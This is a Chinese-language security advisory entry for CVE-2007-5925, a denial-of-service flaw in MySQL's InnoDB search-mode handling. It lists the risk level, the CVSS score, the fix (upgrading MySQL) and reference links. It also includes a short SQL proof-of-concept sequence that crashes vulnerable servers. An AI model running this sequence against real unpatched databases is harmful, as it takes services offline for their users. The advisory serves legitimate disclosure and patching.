|
|
MySQL CONVERT_SEARCH_MODE_TO_INNOBASE 函數阻斷服務弱點 |
| MySQL-39 |
 低風險 |
 影響平台:
Windows, UNIX
|
| |
| 攻擊需求:
必須取得帳號 |
| |
| 造成危害:
阻斷服務 |
| |
|
攻擊模式: |
| |
mysql> CREATE TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected
mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');
Empty set
mysql> ALTER TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0
mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar'); |
| |
| CVSS 弱點評分:
6.8 |
| |
| CVE ID:
CVE-2007-5925
|
| |
| |
|
內容描述: |
| |
MySQL 5.1.23-BK 及之前的版本允許遠端使用者造成資料庫停止, 遠端通過驗證的使用者可以送出特殊的請求而造成資料庫停止運作. |
| |
|
修補方式: |
| |
升級到最新版本的 MySQL. |
| |
|
相關連結: |
| |
. MySQL Web site
http://dev.mysql.com/downloads/
.
GLSA 200711-25 -MySQL: Denial of Service
http://www.gentoo.org/security/en/glsa/glsa-200711-25.xml
|
| |
| BugTRAQ ID:
26353
|
| |
| X-Force ID:
38284
|
| |
| |
| 發佈日期:
2007-11-26 |
Copyright© DragonSoft Security Associates, Inc.
版權所有© 中華龍網股份有限公司
|
資料庫的內容資訊可能在未經通知下修改. 對於提供的資訊內容並未保證任何性能、適當性或其他任何特殊用途, 其全部之風險均由使用此資訊的使用者自行負擔. 資料庫內容允許非營利事業單位轉載, 但不得將內容予以拷貝修改. 並需註明資料來源.
|
|
|
